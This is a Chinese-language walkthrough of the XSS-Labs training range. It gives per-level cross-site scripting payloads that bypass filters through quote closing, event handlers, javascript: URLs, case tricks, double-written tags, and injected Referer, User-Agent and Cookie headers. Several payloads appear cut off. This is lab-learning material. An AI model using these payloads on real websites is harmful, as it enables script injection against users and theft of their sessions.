XSS-Labs


靶场地址

https://xssaq.com/yx/index.php

level1

在name里产生交互,直接进行XSS就行

name=

level2

数据传入value中,构造value的双引号闭合


">

level3

构造单引号value闭合,发现过滤<>


'>

通过onclick进行过滤

' onclick='alert(1)

level4

过滤<>,构造双引号闭合,通过onclick过滤


" onclick="alert(1)

level5

对script标签进行破坏,通过href的javascript协议进行绕过


">

level6

通过level5方法进行绕过,只是破坏href,进行大小写绕过

">

level7

对script进行一次过滤,双写绕过

">alert(1)

level8

对标签进行破坏,替换”等敏感字符,看到href,尝试javascript::绕过


javascript:alert(1) javascript:alert(1) //Unicode编码

href=””这里面的任意字符串,都会被当作协议执行,所以Unicode编码在前端会被解析成正常的字符串

level9

和level8一样,只是要在结尾加上http://


javascript:alert(1)//http://

level10

三个隐藏变量,都试一遍,发现只有t_sort可以




传入参数,改type为text可见

t_sort=" type="text" onmouseover="alert(1)

level11

四个参数都不行,t_ref是Referer参数的值





抓包后在Referer添加XSS

Referer:" type="text" onmouseover="alert(1)

level12

在User-Agent里面修改数据


User-Agent:" type="text" onmouseover="alert(1)

level13

在Cookie里面修改数据

Cookie:user=" type="text" onmouseover="alert(1)

level14

iframe调用的文件来实现xss注入,靶场环境不允许

level15

1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

1.ng-include,如果单纯指定地址,必须要加引号

2.ng-include,加载外部html,script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别

?src='level1.php?name='

level16

将script换成 ,也就是空格,通过%0a配合onload绕过


相关